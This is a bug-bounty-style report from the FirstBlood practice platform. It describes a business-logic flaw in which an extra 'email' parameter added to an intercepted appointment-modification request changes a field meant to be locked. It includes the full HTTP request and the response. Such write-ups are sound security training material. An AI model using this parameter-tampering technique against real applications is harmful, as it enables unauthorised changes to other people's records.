FirstBlood-#735User can modify appointment email address which is supposed to be not editable
This issue was discovered on FirstBlood v2

On 2021-10-27, sumyth Level 2 reported:


Please find a brief description of the vulnerability below,


On, users are provided an option to modify the details of an already booked appointment. For safeguarding reasons, only message field is editable and other fields are disabled. It is possible to bypass this restriction and add a new email address.

Steps to Reproduce:

  1. Goto manage appointment page, add your appointment ID and click on retrieve appointment button.

  1. In the subsequent page, notice that all the fields are disabled apart from 'extra comments'. Click on 'Modify Appointment' button and intercept the generated request.

  1. In the intercepted request, add a new parameter 'email' with value of an email address that you want to update as shown below,
POST /api/ma.php?success&aptid=67d183e2-f0ab-4274-a975-ca08c48d96e9 HTTP/1.1
Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9
Content-Length: 48
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Csrf: 99215d4e-0ff3-4275
X-Site-Req: permitted
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

message=&id=67d183e2-f0ab-4274-a975-ca08c48d96e9&[email protected]

The following response is observed which confirms that the change was successfully done,

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 27 Oct 2021 20:13:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 7

  1. On the browser, retrieve the appoint again as done in step 1. Notice that the email address has now been updated successfully.


Bypassing application logic can allow users to bypass the restrictions set on certain actions.

P3 Medium

Endpoint: /api/ma.php

Parameter: email

Payload: NA

FirstBlood ID: 33
Vulnerability Type: Application/Business Logic

Our mistake: We did not intentionally leave the code to change emails if the correct values were set, however it created interesting results because most discovered this but missed bug ID 20 and 21 and whilst it was not possible to modify via integer, if the ID was known it would still work.